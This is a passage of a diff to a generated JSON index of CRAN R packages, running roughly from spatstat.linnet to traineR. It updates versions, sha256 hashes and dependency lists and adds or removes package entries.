"spatstat.linnet", - "version": "3.2-5", - "sha256": "1ycwjrbg6pw2qr4sn5fqpxnxvajd1f6x7a7nhd873p3gbp4ls18d", + "version": "3.2-6", + "sha256": "1fihp6qrkiivhc9i2d7371dfgsdb08xy9y0g5lfm6pxifyqfqvw2", "depends": ["Matrix", "spatstat_data", "spatstat_explore", "spatstat_geom", "spatstat_model", "spatstat_random", "spatstat_sparse", "spatstat_univar", "spatstat_utils"] }, "spatstat_local": { @@ -120693,8 +120255,8 @@ }, "spcosa": { "name": "spcosa", - "version": "0.4-2", - "sha256": "1y3qbz9kslb5k7h62pk7g2lk69y9i625r2q0dychhj91fdqx30n4", + "version": "0.4-3", + "sha256": "0nn7z7xyblsaq7hmvnlf8fxi7rc0vyii7m3qgzkdhj6d0j9xxngp", "depends": ["ggplot2", "rJava", "sp"] }, "spcov": { @@ -120717,8 +120279,8 @@ }, "spdep": { "name": "spdep", - "version": "1.3-11", - "sha256": "1ql5kpmzcjq73lndq7hjf6bcsac71fx8n90ajrap63npjnrxwpd3", + "version": "1.3-13", + "sha256": "0nk8lalx58jxmaml0391rb1y02bnvjz2n7swvy7zi6b829f91ibs", "depends": ["boot", "deldir", "e1071", "s2", "sf", "sp", "spData", "units"] }, "spdesign": { @@ -120817,12 +120379,6 @@ "sha256": "0z53z8xyz003f95w87m3d0xmlvs313jjqh8s8n32wgipy827l794", "depends": ["caret", "caretEnsemble", "doParallel", "dplyr", "futile_logger", "ggplot2", "riskRegression", "rlang", "survival", "survminer"] }, - "spectacles": { - "name": "spectacles", - "version": "0.5-4", - "sha256": "10qc46kspnmc85w3a29jx1fj0jxpzxa9b5ygpszhjkz3w8q6s8i4", - "depends": ["baseline", "epiR", "ggplot2", "plyr", "reshape2", "signal", "stringr"] - }, "spectator": { "name": "spectator", "version": "0.2.0", @@ -120841,12 +120397,6 @@ "sha256": "116gn41nvlw7jmr6qx9pl8hckg2pzgzx49kql52j5xqf39sgyx9p", "depends": ["RhpcBLASctl", "lattice", "pbapply", "rasterImage"] }, - "spectralAnalysis": { - "name": "spectralAnalysis", - "version": "4.3.3", - "sha256": "0b2f992p7vpzhzncrvpdkifbgymyiqxz66yk6md3j39wmx3ijkjw", - "depends": ["BiocGenerics", "NMF", "RColorBrewer", "baseline", "data_table", "dplyr", "ggplot2", "hNMF", "jsonlite", "magrittr", "nnls", "plotly", "pls", "plyr", "signal", "viridis", "zoo"] - }, "spectralAnomaly": { "name": "spectralAnomaly", "version": "0.1.1", @@ -121155,9 +120705,9 @@ }, "splineCox": { "name": "splineCox", - "version": "0.0.3", - "sha256": "1rlg86c2s05k77fhapl6d5160sb02gi2ivyvc7zcwx25kfwqfs53", - "depends": ["joint_Cox"] + "version": "0.0.4", + "sha256": "00jd0gf7ls4pais4bgy48pmgqz5kn2g3aqhksyyyfdc2rk2fvxmh", + "depends": ["ggplot2", "joint_Cox"] }, "splines2": { "name": "splines2", @@ -121393,6 +120943,12 @@ "sha256": "1zapfld0d6yyxqvijkb243zqin9xwqhmnznd2nnd4cp0rq3106zf", "depends": ["interp", "timeDate"] }, + "sprex": { + "name": "sprex", + "version": "1.4.3", + "sha256": "1giwy6xmq7gksbr33kidzdbs99npfap22s14y7vymg8h4wqy642x", + "depends": ["ggplot2", "swfscMisc"] + }, "springer": { "name": "springer", "version": "0.1.9", @@ -121567,6 +121123,12 @@ "sha256": "1zpm787ifzrhww32ghi57ii37p9dssq7q7gbai9iqass78z90y2j", "depends": ["MASS", "arm", "brms", "data_table", "ggplot2", "lme4", "plotly", "shiny", "shinyMatrix"] }, + "squids": { + "name": "squids", + "version": "25.6.1", + "sha256": "1v8rrwwy0fh7rna7zk18yn5srmaxq1siwx1ld3hfd29k9i1vsyvl", + "depends": [] + }, "sr": { "name": "sr", "version": "0.1.0", @@ -121711,12 +121273,6 @@ "sha256": "1m0dkwrmpfld96c3cja859ix0hdkcn8ylsfigasb91pin37qsn3s", "depends": ["Rcpp", "RcppEigen", "TMB", "abind", "chk", "furrr", "generics", "ggplot2", "ggtext", "glue", "goftest", "lifecycle", "plyr", "purrr", "rlang", "scales", "ssddata", "stringr", "tibble", "universals", "withr"] }, - "sse": { - "name": "sse", - "version": "0.7-17", - "sha256": "0aqpi70rgmh2kmf11z2cvyl8c9klv8jm81pcpkzjrw3pbpgkqizf", - "depends": ["lattice"] - }, "ssev": { "name": "ssev", "version": "0.1.0", @@ -121791,8 +121347,8 @@ }, "ssmodels": { "name": "ssmodels", - "version": "1.0.1", - "sha256": "19w3vr4zz23xbb4mr4zwqwj024i10hgnpm0cf47qh5c1zkjcwdib", + "version": "2.0.1", + "sha256": "195vl4ni1wwlw1m0ibfnvcdrfp8594l812mcjp5pw8j1lav8403b", "depends": ["Rdpack", "miscTools", "numDeriv", "pracma", "sn"] }, "ssmrob": { @@ -121855,6 +121411,12 @@ "sha256": "1sy32kw0zznsfm8nvs4zr5rjqykjvn4r3w4d7vs5lppjfb9c13dk", "depends": ["Rcpp", "RcppArmadillo", "pbapply"] }, + "ssutil": { + "name": "ssutil", + "version": "1.0.0", + "sha256": "0chnzb8aw7n14bwd922jkqai0rr6fc0f3jrl06apnsnnrp5rawcf", + "depends": ["MASS", "broom", "gsDesign", "mvtnorm", "stringr", "tibble"] + }, "ssw": { "name": "ssw", "version": "0.2.1", @@ -121977,8 +121539,8 @@ }, "stacks": { "name": "stacks", - "version": "1.1.0", - "sha256": "0kf83rfajyla4hpi51a9q384d41qw7hl99pl1wnbf17vl54lhfan", + "version": "1.1.1", + "sha256": "1l2mwl34qg5mnhi1cnkj80p764s2hdj5plq2wq2n0m5h8b3m5gib", "depends": ["butcher", "cli", "dplyr", "foreach", "furrr", "future", "generics", "ggplot2", "glmnet", "glue", "parsnip", "purrr", "recipes", "rlang", "rsample", "tibble", "tidyr", "tune", "vctrs", "workflows"] }, "stacomiR": { @@ -122047,6 +121609,12 @@ "sha256": "04gqgjj38z9gggfmza8aqq7hdiilszvg023a1b9f3pga3rlc54y8", "depends": ["htmltools", "shiny"] }, + "stanza": { + "name": "stanza", + "version": "1.0-3", + "sha256": "0gs4yn6abhmgyvzvspqwnlbnw8rnvzxal4n4qrn39p0dxj9jyz7s", + "depends": ["NLP", "checkmate", "reticulate"] + }, "stapler": { "name": "stapler", "version": "0.8.0", @@ -122079,8 +121647,8 @@ }, "starnet": { "name": "starnet", - "version": "0.0.7", - "sha256": "1rzssz1gj1bsfshk4a89vk7lllmq23334a8rahvivqkm1jvpxwnj", + "version": "1.0.0", + "sha256": "0iz4l3va3d98zq2la2404pf9l0gcmpgla9gszkpc4hfhgzj82fsr", "depends": ["Matrix", "cornet", "glmnet", "survival"] }, "starry": { @@ -122151,8 +121719,8 @@ }, "statBasics": { "name": "statBasics", - "version": "0.2.2", - "sha256": "1hhwg2190bndjgmxmv37ihqdg665s9zn1h1smwshs59wk0r7bzjx", + "version": "0.2.3", + "sha256": "0zaxyk2m9pf6mfsrbq73y30zh55mw9wyvsnzai81hcz7fbaqw43x", "depends": ["stringr", "tibble"] }, "statConfR": { @@ -122167,12 +121735,6 @@ "sha256": "0342hxbf4irhkr7i4ggq63ac66i97y4fcixm1jvbwbdahss6f38y", "depends": ["MASS", "cluster", "doParallel", "foreach", "igraph", "mvtnorm", "rARPACK"] }, - "statVisual": { - "name": "statVisual", - "version": "1.2.1", - "sha256": "1cc9p9g8lzn0lgh793r977yhqbk89l74m443gnznjlfml69bfb21", - "depends": ["Biobase", "GGally", "RColorBrewer", "dplyr", "factoextra", "forestplot", "gbm", "ggdendro", "ggfortify", "ggplot2", "ggrepel", "glmnet", "gridExtra", "knitr", "limma", "magrittr", "pROC", "pheatmap", "pvca", "randomForest", "reshape2", "rmarkdown", "rpart_plot", "tibble", "tidyverse"] - }, "statar": { "name": "statar", "version": "0.7.6", @@ -122299,6 +121861,12 @@ "sha256": "0i5irapzdmp8dfjjam504n47xbdmzqhy7y31ah6az3w9kr4bv7j0", "depends": ["omnibus"] }, + "statlingua": { + "name": "statlingua", + "version": "0.1.0", + "sha256": "0h1imq389wbrzynrr7bs92ihxpknylvs71yyzdsiwq4r1l7hdr9g", + "depends": [] + }, "statmod": { "name": "statmod", "version": "1.5.0", @@ -122313,8 +121881,8 @@ }, "statnet_common": { "name": "statnet.common", - "version": "4.11.0", - "sha256": "0nmnb4k04121is7nv4jvl6w857cqw9jb8kz4lhjcd39ygyc9dgi6", + "version": "4.12.0", + "sha256": "1z448l4mh4kfv79rf033hf93lg6msp6xdrrg6v1spn0bqg0wkij5", "depends": ["Matrix", "coda"] }, "statnetWeb": { @@ -122337,8 +121905,8 @@ }, "statpsych": { "name": "statpsych", - "version": "1.7.0", - "sha256": "0cm384ii8978v5l0x8801najvfz7zpv5ik75a91jsigq7pmx3kh3", + "version": "1.8.0", + "sha256": "1x0gcipa0hc58rnwyxn3jwqfnzwaxq1kacvrwq4fhjlvkq4cb7nh", "depends": ["Rdpack", "mathjaxr", "mnonr"] }, "statquotes": { @@ -122595,8 +122163,8 @@ }, "stgam": { "name": "stgam", - "version": "1.0.0", - "sha256": "1kaizgcx6b69c8bhd8bj8jw30a82y7k715swmm0mkyzj6wf9ccdx", + "version": "1.0.2", + "sha256": "1rv1v6xnd60ijvvgc4vr4x1gc91y7lhbdmf13m3kk4krf5y0c5m8", "depends": ["doParallel", "dplyr", "foreach", "glue", "mgcv"] }, "sticky": { @@ -123139,6 +122707,12 @@ "sha256": "15csz77hfii23dv8rrsabwilq8z0fa5f0vp6nhwh2nmww4y2fm7v", "depends": ["Rcpp", "RcppArmadillo", "sandwich", "zoo"] }, + "structenforcement": { + "name": "structenforcement", + "version": "0.1.3", + "sha256": "1vj4kwp1g0d7k4viw9sybpm6jgpzjm50agxw8vwj92f34kqi1l67", + "depends": ["dplyr", "lubridate", "rlang"] + }, "structree": { "name": "structree", "version": "1.1.7", @@ -123385,6 +122959,12 @@ "sha256": "1cdzv5bm3l8fnnpk0c94y32ss1pmx7dddks33ha9r2yqw7p9xwvq", "depends": ["MASS", "cli", "collapse", "dreamerr", "generics", "rlang"] }, + "sumvar": { + "name": "sumvar", + "version": "0.1", + "sha256": "0bbc740gwm3wdzjx13ns9hmg8a2xs2glf7rdqf3hby0qhr4ysy1i", + "depends": ["dplyr", "ggplot2", "lubridate", "magrittr", "patchwork", "purrr", "rlang", "scales", "tibble", "tidyr"] + }, "sunburstR": { "name": "sunburstR", "version": "2.1.8", @@ -123513,8 +123093,8 @@ }, "supportR": { "name": "supportR", - "version": "1.4.0", - "sha256": "0z18rmfn5hmrirks6arkpia9biiq2b6r57sak9yhk6j68yhbkjvs", + "version": "1.5.0", + "sha256": "1sc34q56y0s8dg5vnna64pg6zmwv4j0q9zcm7s5wpv4m1k35qsk2", "depends": ["data_tree", "dplyr", "ggplot2", "gh", "googledrive", "lifecycle", "magrittr", "purrr", "rlang", "rmarkdown", "scales", "stringi", "stringr", "tidyr", "vegan"] }, "sur": { @@ -123621,8 +123201,8 @@ }, "survHE": { "name": "survHE", - "version": "2.0.4", - "sha256": "179g1a68pmskyc45wzmx42ysyk2sd2x2m5wi48gl9l9w8pcid91x", + "version": "2.0.5", + "sha256": "12sy80vxpw8bamw7p1akq1gv4ysmhc2612vrz2jiyfkw9lkf3ssz", "depends": ["dplyr", "flexsurv", "ggplot2", "rms", "tibble", "tidyr", "xlsx"] }, "survIDINRI": { @@ -123739,6 +123319,12 @@ "sha256": "0rjrdbmb5mvqk9fia73hlydkkjyww14iq9d13mv52fwzhs85jx0n", "depends": ["WriteXLS", "survival"] }, + "survextrap": { + "name": "survextrap", + "version": "1.0", + "sha256": "10hi8x7676bmb2sackibzc8awykqs4kyvj7i2van8ndp8l0dj0kp", + "depends": ["BH", "Rcpp", "RcppEigen", "RcppParallel", "StanHeaders", "ggplot2", "gridExtra", "loo", "posterior", "rstan", "splines2", "survival", "tibble"] + }, "survey": { "name": "survey", "version": "4.4-2", @@ -123757,6 +123343,12 @@ "sha256": "1vp4v27vj9w0vsab6jjy9hvx36lrn01qkx3d0idmx0zwbd0bxy50", "depends": ["SUMMER", "data_table", "dplyr", "ggplot2", "labelled", "matrixStats", "naniar", "raster", "rdhs", "sf", "sjlabelled", "sp", "spdep", "stringr", "survey", "tidyverse"] }, + "surveySimR": { + "name": "surveySimR", + "version": "0.1.0", + "sha256": "1rhnzmf5di4y309c8cc3d0b15vpccl2shgsf21sr6fhm8ya582lz", + "depends": ["moments", "shiny"] + }, "surveybootstrap": { "name": "surveybootstrap", "version": "0.0.3", @@ -123891,8 +123483,8 @@ }, "survivalsurrogate": { "name": "survivalsurrogate", - "version": "1.0", - "sha256": "16r4hn2pgpk7v1ljfyl1g322xrr714rqb4x50zab392fnr8f8pyx", + "version": "1.1", + "sha256": "0h5q4b92sk2vylx1q5n7s8z04pr2vbs3i86ljsh6wry1fkpywn48", "depends": ["SparseM", "data_table", "dplyr", "glue", "magrittr", "mlr3", "purrr", "rBeta2009", "rpart"] }, "survivalsvm": { @@ -123903,8 +123495,8 @@ }, "survivoR": { "name": "survivoR", - "version": "2.3.5", - "sha256": "083rzn89pm7rayzc5dc9l7jxh691xycn4v3ac7y12q53a1d7rz9z", + "version": "2.3.6", + "sha256": "033ch4xnm83h4c4pam721vizvdr2a3l4q3244vy090779n8bjlkq", "depends": ["DT", "crayon", "dplyr", "ggplot2", "glue", "lubridate", "magrittr", "purrr", "readr", "shiny", "shinycssloaders", "shinyjs", "stringr", "tidyr"] }, "survminer": { @@ -123931,6 +123523,12 @@ "sha256": "1ypxhdirppr6061zk1is473b8k8yy3m14ij4fa66rczs8gqy5sj2", "depends": ["cmprsk", "dplyr", "openxlsx", "survival", "tibble"] }, + "survregVB": { + "name": "survregVB", + "version": "0.0.1", + "sha256": "0mgj00hf2ll85dyb1ap0m45j641cij0qx3y843z607qlfsbiq00b", + "depends": ["bayestestR", "invgamma"] + }, "survsim": { "name": "survsim", "version": "1.1.8", @@ -123945,8 +123543,8 @@ }, "susieR": { "name": "susieR", - "version": "0.12.35", - "sha256": "0fhdc3lkhl4s9h2ng72gypy2z3hgk6566jfhwhsfbddyzd22drpd", + "version": "0.14.2", + "sha256": "0vicxla65g3lhcb2rcgksvaqlkd30dwsly4j9h1cr9zpn4p340ms", "depends": ["Matrix", "crayon", "ggplot2", "matrixStats", "mixsqp", "reshape"] }, "susographql": { @@ -124071,8 +123669,8 @@ }, "svines": { "name": "svines", - "version": "0.2.4", - "sha256": "037f68ibz25xpvp5lw5a9blix3q4lwqqidbhwcmj03q2kpn8zjbs", + "version": "0.2.7", + "sha256": "012s7ddawgyj9kklsr14946iikw7577x32cf3g2a5b30d1rxq5an", "depends": ["BH", "Rcpp", "RcppEigen", "RcppThread", "assertthat", "fGarch", "rvinecopulib", "univariateML", "wdm"] }, "svmpath": { @@ -124203,9 +123801,9 @@ }, "swash": { "name": "swash", - "version": "1.1.0", - "sha256": "02sks9ci3rcfx9p52vk46k42ppl3pj2mhw7yhf8l6x01vx49ranb", - "depends": [] + "version": "1.2.1", + "sha256": "15vn6agwidvzmy3q1kiggwqa0y3z0f78574md531mw4jly35n9z6", + "depends": ["lubridate"] }, "swatches": { "name": "swatches", @@ -124249,6 +123847,18 @@ "sha256": "19dfwgxv501m2h2by9v2azaisn3819ml92sr218qldl6sqr5n89a", "depends": ["Rcpp"] }, + "swfscDAS": { + "name": "swfscDAS", + "version": "0.6.4", + "sha256": "0338wpyyn07kic7m0iq2y1v3831niix7fbadmljb5pp9l1nxdqzr", + "depends": ["dplyr", "lubridate", "magrittr", "purrr", "readr", "rlang", "sf", "swfscMisc", "tidyr"] + }, + "swfscMisc": { + "name": "swfscMisc", + "version": "1.7", + "sha256": "17ppby5d4r3kdnmrpy349grvg9dq5zsc7cy3qn3gz423ikgnjiyn", + "depends": ["HDInterval", "abind", "dplyr", "ggplot2", "ggrepel", "kknn", "modeest", "rlang", "sf", "spatstat_geom", "tibble", "tidyr"] + }, "swgee": { "name": "swgee", "version": "1.4", @@ -124291,12 +123901,6 @@ "sha256": "0lgicakwcmvjhvy1sqvv4rasxyyx2s1gadxnz81s7ii1865lbryk", "depends": ["Rcpp", "RcppArmadillo", "gena", "hpa", "mnorm"] }, - "switchboard": { - "name": "switchboard", - "version": "0.1", - "sha256": "1qh6cfm5h0j17ldljpgj400f2dhcfaa4x1157d46cyfawfdscvc5", - "depends": ["magrittr"] - }, "switchcase": { "name": "switchcase", "version": "0.1.1", @@ -124461,8 +124065,8 @@ }, "synthpop": { "name": "synthpop", - "version": "1.9-1", - "sha256": "0zk5h4myllbmgdzkdllq5an665qwz4zimlxkw03j6bbc1arshyqg", + "version": "1.9-1.1", + "sha256": "139x14w1aipxbxfkl2r9v85c1z6nlds5kgbcbd3dhd90irrxys15", "depends": ["MASS", "broman", "classInt", "forcats", "foreign", "ggplot2", "lattice", "mipfp", "nnet", "party", "plyr", "polspline", "proto", "randomForest", "ranger", "rmutil", "rpart", "stringr", "survival"] }, "syrup": { @@ -124843,12 +124447,6 @@ "sha256": "192sy5pgq74vs31p7jfn6svdzf9mk9ybppzhp1rlki1bagmm5f1r", "depends": ["shiny"] }, - "takos": { - "name": "takos", - "version": "0.2.0", - "sha256": "09w9lkqhxdb26fvrsb8n16601kqpr2smplipx3lj6cdgbyhb1hqz", - "depends": ["MASS", "baseline", "broom", "colorRamps", "data_table", "deSolve", "devEMF", "minpack_lm", "pracma", "segmented", "sfsmisc", "smoother"] - }, "talkr": { "name": "talkr", "version": "0.1.3", @@ -124857,9 +124455,9 @@ }, "tall": { "name": "tall", - "version": "0.2.0", - "sha256": "00jr0vn69lcfzq9y7zwr2j398jzywgdvfcz8xazk9v256xkkpnkl", - "depends": ["DT", "RSpectra", "Rcpp", "ca", "chromote", "curl", "doParallel", "dplyr", "fontawesome", "ggraph", "igraph", "jsonlite", "later", "openxlsx", "pagedown", "pdftools", "plotly", "promises", "purrr", "readr", "readtext", "readxl", "rlang", "shiny", "shinyFiles", "shinyWidgets", "shinycssloaders", "shinydashboardPlus", "shinyjs", "sparkline", "stringr", "strucchange", "textrank", "tidygraph", "tidyr", "topicmodels", "udpipe", "umap", "visNetwork", "word2vec"] + "version": "0.3.0", + "sha256": "1mqg9cw0ikvv2zfry6891kh28w14j1hq0039hdgb1hqn4xzfl93s", + "depends": ["DT", "RSpectra", "Rcpp", "base64enc", "ca", "chromote", "curl", "doParallel", "dplyr", "fontawesome", "ggraph", "httr2", "igraph", "jsonlite", "later", "openxlsx", "pagedown", "pdftools", "plotly", "promises", "purrr", "readr", "readtext", "readxl", "rlang", "shiny", "shinyFiles", "shinyWidgets", "shinycssloaders", "shinydashboardPlus", "shinyjs", "sparkline", "stringr", "strucchange", "textrank", "tidygraph", "tidyr", "topicmodels", "udpipe", "umap", "visNetwork", "word2vec"] }, "tame": { "name": "tame", @@ -124873,6 +124471,12 @@ "sha256": "086xjcl8fsbsk3b0qjn8vx0w5rc5jg30hk9x93zc2mq8d984kh7r", "depends": ["mapiso", "maplegend", "sf", "terra"] }, + "tangles": { + "name": "tangles", + "version": "2.0.1", + "sha256": "0sm1pdmg7c2ikhmf8xniv37m3hxiq9am24xvpcx4i1yny78jgqky", + "depends": ["digest", "sf", "terra"] + }, "tangram": { "name": "tangram", "version": "0.8.2", @@ -124909,6 +124513,12 @@ "sha256": "0h1d658crp717iwpc8q2ly1yybj4l33jr5gzgncx2b8mm14ykiij", "depends": ["dplyr", "fs", "rlang", "secretbase", "targets", "tibble", "tidyselect", "vctrs", "withr"] }, + "tarchives": { + "name": "tarchives", + "version": "0.1.0", + "sha256": "0yk60amdnhha36g919rr4d8h4laprdpd4ih699iacdzd1sakjm47", + "depends": ["callr", "fs", "rlang", "targets", "usethis", "withr"] + }, "tardis": { "name": "tardis", "version": "0.1.4", @@ -125017,6 +124627,12 @@ "sha256": "06ja2pwf53y1zkmkd7mjfw4y5n18c80b0mi35qmzav4pfl19m82a", "depends": ["RSQLite", "R_utils", "curl", "data_table"] }, + "taxotools": { + "name": "taxotools", + "version": "0.0.148", + "sha256": "03m1xqm1386dpy1paqfbqnia29nsr37ngm0337cscj4i0w0jq1lz", + "depends": ["plyr", "rmarkdown", "sqldf", "stringdist", "stringi", "stringr", "taxize", "wikitaxa"] + }, "tayloRswift": { "name": "tayloRswift", "version": "0.1.0", @@ -125091,8 +124707,8 @@ }, "tcltk2": { "name": "tcltk2", - "version": "1.2-11", - "sha256": "1ibxld379600xx7kiqq3fck083s8psry12859980218rnzikl65d", + "version": "1.6.1", + "sha256": "0sjwhkk8i9p8d2iyj74ni6fi2mg4k04sf2l3iglirpvkx46c076w", "depends": [] }, "tclust": { @@ -125131,6 +124747,12 @@ "sha256": "0m53a9w2365mb1bq9wlj7gwsabnbh9m4ax8klq22frj2dzvlk7xm", "depends": ["Rcpp", "magrittr", "survival"] }, + "tdarec": { + "name": "tdarec", + "version": "0.1.0", + "sha256": "1s9vpy7dr4zrrj5ahqlsbwgz02q4n7h64h10f116nv3zgkn8zjxm", + "depends": ["dials", "magrittr", "purrr", "recipes", "rlang", "scales", "tibble", "tidyr", "vctrs"] + }, "tdata": { "name": "tdata", "version": "0.3.0", @@ -125257,12 +124879,6 @@ "sha256": "0mqrjnkpxzv7armgbl9nwz42pjb9l94yml5lp41rhjj9414b2729", "depends": ["dplyr", "ggplot2", "tibble", "tidyr"] }, - "teamr": { - "name": "teamr", - "version": "0.0.1", - "sha256": "01gngws8lf093598wlzrv4ls74avsli6ij33v1plqgc0znyaw4s2", - "depends": ["R6", "httr", "jsonlite"] - }, "tectonicr": { "name": "tectonicr", "version": "0.4.7", @@ -125505,8 +125121,8 @@ }, "terra": { "name": "terra", - "version": "1.8-50", - "sha256": "1vsl8v2n57i4rpq4v29g2g5k0nba348qhiszdr9knqm9il9pq82y", + "version": "1.8-54", + "sha256": "130kk5cyhvkxcc51ywq1rg3kbz0qnh778gmn5jsqrgypdpxdlhrx", "depends": ["Rcpp"] }, "terrainmeshr": { @@ -125535,8 +125151,8 @@ }, "test2norm": { "name": "test2norm", - "version": "0.3.0", - "sha256": "1qfnzxry84y9y22xp1cfhpg9q5yrchhhasn3p81qx7ay9ii9n7j7", + "version": "0.3.0.1", + "sha256": "1zhk0pmp16gdb1cksbfvsgg6ssdxlfja21xzdb1dwg686friad7z", "depends": ["mfp2"] }, "testCompareR": { @@ -125565,9 +125181,9 @@ }, "testcorr": { "name": "testcorr", - "version": "0.2.0", - "sha256": "0bqhf4p4csyd430240d8gh09axpz3h108fh78sbgpyqdhiq3d1fh", - "depends": ["forcats", "ggplot2", "knitr", "reshape2", "scales"] + "version": "0.3.0", + "sha256": "08y5jrbp8dys0gqvvvk47pg3a54s8mx5xxapzivczf76qnjkffg7", + "depends": ["forcats", "ggplot2", "knitr", "reshape2", "scales", "xts", "zoo"] }, "testdat": { "name": "testdat", @@ -125791,12 +125407,6 @@ "sha256": "1vj1dlv2dyb3hyr60p91sh4p514i0m7gf86zk32xbdyv6k9zdkmf", "depends": ["dplyr", "ggplot2", "magrittr", "plyr", "purrr", "stopwords", "stringr", "textdata", "tidyr", "tidytext"] }, - "textgRid": { - "name": "textgRid", - "version": "1.0.1", - "sha256": "1wi5vq5f7ixhz39l5hqi2jlmjjacx4lyrs4h8xfbd47pj6g16lc6", - "depends": [] - }, "textile": { "name": "textile", "version": "0.1.4", @@ -125941,12 +125551,6 @@ "sha256": "1a5i9jccj39n61ixx8q2qq9ismr43jybp0vlvy6jda99r92zdhhl", "depends": [] }, - "tfestimators": { - "name": "tfestimators", - "version": "1.9.2", - "sha256": "1gwj2xal5an0m9c2x1rxzsg07hgzjyxr4m08sd3salgyc2h3bi5g", - "depends": ["forge", "magrittr", "progress", "purrr", "reticulate", "rlang", "tensorflow", "tfruns", "tibble", "tidyr", "tidyselect"] - }, "tfevents": { "name": "tfevents", "version": "0.0.4", @@ -125965,12 +125569,6 @@ "sha256": "089vh0k12z0ymk4v585hfnl5yqp28rgzqgy633m874h6fqzhhxvp", "depends": ["forge", "magrittr", "reticulate", "tensorflow", "tfdatasets"] }, - "tfplot": { - "name": "tfplot", - "version": "2021.6-1", - "sha256": "0w0m9d2lvjl96vxwvks2v086y4gqiv2n0d50j2yrngys9p2nrlxc", - "depends": ["tframe"] - }, "tfprobability": { "name": "tfprobability", "version": "0.15.1", @@ -126153,8 +125751,8 @@ }, "thor": { "name": "thor", - "version": "1.1.6", - "sha256": "12gpqs02gh4zvrxh862s64ba5shp4h30vddgplf67qzd8sijmx5q", + "version": "1.2.0", + "sha256": "1g9204n6khm1k9ifwlmhbycfp996k5c2zpcmk2aqd95iqafpaw4g", "depends": ["R6", "storr"] }, "thorn": { @@ -126219,9 +125817,9 @@ }, "thunder": { "name": "thunder", - "version": "1.1.4", - "sha256": "1jyya96z3q5sqqzs4w3cmph2xqxmr5l7mdmp0pnky2h9kw2lr9l7", - "depends": ["RadioSonde", "Rcpp", "aiRthermo", "curl", "dplyr", "httr"] + "version": "1.1.5", + "sha256": "1f8k8r7r8jhr1fwdxq3apxypxhdl3jdamqagyjraxq6y246i4lid", + "depends": ["Rcpp", "aiRthermo", "curl", "dplyr", "httr"] }, "thurstonianIRT": { "name": "thurstonianIRT", @@ -126231,9 +125829,9 @@ }, "tibble": { "name": "tibble", - "version": "3.2.1", - "sha256": "0c916wl19wbhncv05hjzs2vmvvbcxlswjl6i232ygmkzal62v9v5", - "depends": ["fansi", "lifecycle", "magrittr", "pillar", "pkgconfig", "rlang", "vctrs"] + "version": "3.3.0", + "sha256": "14p1zqi7yflcqg87mfphmh0lxazvj1pxgn13b6ja9b5i26gl6k3z", + "depends": ["cli", "lifecycle", "magrittr", "pillar", "pkgconfig", "rlang", "vctrs"] }, "tibbletime": { "name": "tibbletime", @@ -126249,8 +125847,8 @@ }, "tican": { "name": "tican", - "version": "1.0.2", - "sha256": "0bic4n7jgbj74ca849cklvjasgdv1rym2bry24zpad6q42jjkmg7", + "version": "1.0.3", + "sha256": "0pl580gq17sc2m1lcmqxs7qihszk1h5hsi02d9wprhcrb0db3z60", "depends": [] }, "tickr": { @@ -126715,6 +126313,12 @@ "sha256": "0sdjbl4ivjrppg215j1wpcyjlbhn0g7z9cpljvqkwq3mb1abhdfd", "depends": ["assertthat", "crayon", "dplyr", "glue", "lubridate", "purrr", "readr", "reticulate", "rgee", "rlang", "sf", "stringr", "tidyr"] }, + "tidyrstats": { + "name": "tidyrstats", + "version": "0.1.0", + "sha256": "14gpcp1knf6ndh8r16gqi8x6mr5bymq13hd21s911cgldvlmg6ds", + "depends": ["broom", "dplyr", "glue", "purrr", "rlang", "stringr"] + }, "tidyrules": { "name": "tidyrules", "version": "0.2.7", @@ -126745,6 +126349,12 @@ "sha256": "1sbn4x59wdshc0xhxycvkf6ssm3w3pgfl64r8s3m77piara2i0dm", "depends": ["dplyr", "purrr", "rlang", "smd", "tidyr", "tidyselect"] }, + "tidyspec": { + "name": "tidyspec", + "version": "0.1.0", + "sha256": "1k0w9qwa4ijg3wkabq11w20ylb50flv1hqy4i6v7nsi5a3sczx28", + "depends": ["crayon", "dplyr", "ggplot2", "glue", "plotly", "purrr", "readr", "readxl", "recipes", "rlang", "scales", "signal", "tibble", "tidyr", "tidyselect", "timetk"] + }, "tidysq": { "name": "tidysq", "version": "1.2.3", @@ -127167,8 +126777,8 @@ }, "tinyplot": { "name": "tinyplot", - "version": "0.4.0", - "sha256": "0f859ig41jj40g8hhik5dxnxb34743y67lyw8cqmbmh8xljr9yc1", + "version": "0.4.1", + "sha256": "1v8jjj9ygl9lk94l2qr95irljzg7zanljnn5h31nwcpb54fkzcf6", "depends": [] }, "tinyscholar": { @@ -127305,8 +126915,8 @@ }, "tkrplot": { "name": "tkrplot", - "version": "0.0-29", - "sha256": "0abp1q4iky5gg37nb5lwvnj6iv3qjchqrfa8169cj9dsv6v0gzcz", + "version": "0.0-30", + "sha256": "1qfb5jiajlfa6y5hr4qwmv11fh3w0pfwdm3mrv9gw0j13xx9jv6c", "depends": [] }, "tlars": { @@ -127411,6 +127021,18 @@ "sha256": "07jsxq3vpn18rypfw6vxwk3z00qswdkkqxlx3979zr3d692gswkl", "depends": ["cartogram", "sf", "tmap"] }, + "tmap_glyphs": { + "name": "tmap.glyphs", + "version": "0.1", + "sha256": "1zg31sffw240b7swvnfb9b45qi5svsf96z96kpzv7mh1fn6sn1yb", + "depends": ["data_table", "tmap"] + }, + "tmap_networks": { + "name": "tmap.networks", + "version": "0.1", + "sha256": "1cskhasdjd2j58n8h6ypdm78ycm51xkimr9i99c96gzx1r9c8lg5", + "depends": ["data_table", "igraph", "sf", "sfnetworks", "tmap"] + }, "tmaptools": { "name": "tmaptools", "version": "3.2", @@ -127491,9 +127113,9 @@ }, "tna": { "name": "tna", - "version": "0.4.0", - "sha256": "1ws8lwvhkf1v3ym0hzzhci07xpbzcgfllxwaps48byiafi363pb0", - "depends": ["RColorBrewer", "checkmate", "cli", "colorspace", "dplyr", "ggplot2", "igraph", "qgraph", "rlang", "tibble", "tidyr"] + "version": "0.5.0", + "sha256": "1fdd59f9njwh64hasircv5kx8zhjy0csl3q28aax7y911wbi7xd0", + "depends": ["RColorBrewer", "checkmate", "cli", "colorspace", "dplyr", "ggplot2", "igraph", "qgraph", "rlang", "tibble", "tidyr", "tidyselect"] }, "tndata": { "name": "tndata", @@ -127981,6 +127603,12 @@ "sha256": "0wmxhw8yxkxpw08jma3r0zy7dhsrkbh5wjvd3izp5gf9dn9533cd", "depends": ["RCurl", "dplyr", "glue", "lubridate", "magrittr", "purrr", "stringr", "tibble", "tidyr", "usethis", "xml2"] }, + "traineR": { + "name": "traineR", + "version": "2.2.2", + "sha256": 